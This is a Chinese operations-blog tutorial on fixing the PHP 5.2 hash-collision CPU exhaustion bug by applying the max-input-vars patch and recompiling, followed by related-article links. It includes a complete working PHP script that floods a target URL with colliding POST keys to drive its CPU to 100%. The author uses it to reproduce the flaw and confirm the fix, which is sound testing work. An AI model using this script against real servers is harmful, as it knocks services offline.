PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

我們先看下環(huán)境,這個網(wǎng)站是LAMP架構(gòu),PHP版本是5.2.17。
PHP未打補丁前,服務(wù)器CPU情況,目前是2.1%的使用率。
我們在這臺web服務(wù)器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障重現(xiàn)。
程序語言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
執(zhí)行后的效果是取當(dāng)前服務(wù)器的時間。
找臺有PHP環(huán)境的測試機器,這臺機器我用虛擬機,里面有LAMP環(huán)境。進/usr/local/apache/htdocs目錄,寫一PHP網(wǎng)頁,程序語言如下:
[root@blog htdocs]# Vi hash.php
<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>
url地址,為你要作測試的目標(biāo)機,i<100,表示最多100個并發(fā)。手工執(zhí)行hash.php,進行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php
在web服務(wù)器端,我們?nèi)タ捶?wù)器的資源利用情況,CPU是97.6%,看樣子單臺虛擬機,拿100并發(fā)去Hash,就足夠把web服務(wù)器的CPU利用率升至100%。
Cpu到了100%,網(wǎng)站是什么情況呢。我們再瀏覽該臺web服務(wù)器,點網(wǎng)站上面的鏈接,反應(yīng)正常,估計是這臺web服務(wù)器本身沒有一點壓力,所以看不出來。把并發(fā)量調(diào)到10000,再測下,剛才是100并發(fā)。
刷新checktime.php頁面,可以很快顯示,網(wǎng)站正常。但此時web服務(wù)器cpu已是100%
結(jié)論,我是用個人博客作目標(biāo)機,因為個人博客,目前只有幾個人訪問,沒有壓力,所以即使,通過10000并發(fā)的Hash,CPU上到100%,個人博客打開的速度,還是相當(dāng)快。
打上補丁,我們再觀察一下。
1、先查下以后在搭建環(huán)境時,PHP的編譯參數(shù)
2、到網(wǎng)上去下載一個PHP補丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
3、根據(jù)個人平臺的版本號,點擊進去,注意,不要在它上面點右鍵,另存為,否則你down下的是一個html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁面點“raw”,就會打開這個補丁文件。
把里面的內(nèi)容復(fù)制,我這里只截了它一小部分。然后在web服務(wù)器上新建一個文件,php-5.2.17-max-input-vars.patch,里面就是剛復(fù)制的。
4、進php的原始安裝目錄,我這里環(huán)境是/opt/soft/php-5.2.17。先把原來已編譯好的一些,清理一下。
5、打補丁并重新編譯一下php
再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺是make,每個環(huán)境不一樣
再make install
6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start
訪問一下,web服務(wù)器的phpinfo.php,查看PHP環(huán)境有沒有變化。大家可以在最上面看到,PHP版本后帶了個P1。這個還不夠,我們再用Hash碰撞一下,看cpu會不會上100%。
在測試機上,還是取并發(fā)10000,去Hash web服務(wù)器。發(fā)現(xiàn)web服務(wù)器的CPU一直保持在0.5%。
問題解決!
本文出自 “系統(tǒng)網(wǎng)絡(luò)運維” 博客
相關(guān)文章
局域網(wǎng)共享安全方式之用局域網(wǎng)文件共享系統(tǒng)實現(xiàn)共享文件夾安全設(shè)置
現(xiàn)在很多單位都有文件服務(wù)器,經(jīng)常會共享文件讓局域網(wǎng)用戶訪問。那么,如何才能保護局域網(wǎng)內(nèi)共享文件夾的安全性呢?下面通過本文給大家分享局域網(wǎng)共享安全方式之用局域網(wǎng)文2017-05-11- 這篇文章主要介紹了IIS的FastCGI漏洞處理方法,需要的朋友可以參考下2017-04-30
IIS PHP fastcgi模式 pathinfo取值錯誤任意代碼執(zhí)行漏洞修復(fù)方法
這篇文章主要介紹了PHP fastcgi模式 pathinfo取值錯誤任意代碼執(zhí)行漏洞,需要的朋友可以參考下2017-04-30- IIS短文件名泄露漏洞,IIS上實現(xiàn)上存在文件枚舉漏洞,攻擊者可利用此漏洞枚舉獲取服務(wù)器根目錄中的文件,這里為大家分享一下安裝方法,需要的朋友可以參考下2017-04-23
用mcafee麥咖啡設(shè)置服務(wù)器基本用戶安全(防止新建用戶與修改密碼)
這篇文章主要介紹了用麥咖啡設(shè)置服務(wù)器基本用戶安全(防止新建用戶與修改密碼),需要的朋友可以參考下2017-02-26- 這篇文章主要介紹了防范黑客入侵,關(guān)閉端口封鎖大門 黑客無法入侵的相關(guān)資料,需要的朋友可以參考下2016-10-31
現(xiàn)代網(wǎng)絡(luò)性能監(jiān)控工具應(yīng)具備何種技能?網(wǎng)絡(luò)與應(yīng)用程序監(jiān)控
大家都知道現(xiàn)在市場上的網(wǎng)絡(luò)性能監(jiān)控工具大有所在,這為現(xiàn)在的IT行業(yè)的人員提供了很多便利,幫助IT管理團隊監(jiān)控網(wǎng)絡(luò)性能,并且?guī)椭鶬T管理人員確定系統(tǒng)性能的瓶頸所在,進而2016-10-19- 雖然現(xiàn)在網(wǎng)絡(luò)很發(fā)達,但對我們普通人而言,也就是10多年的上網(wǎng)歷史,好多人還沒意識到信息安全的重要性。那么如何保證自己的上網(wǎng)安全?下面小編為大家分享10條防范自救,一2016-10-12
- 這篇文章主要介紹了遠(yuǎn)離病毒 八項基本原則的相關(guān)資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了Linux 防范病毒的方法的相關(guān)資料,需要的朋友可以參考下2016-10-08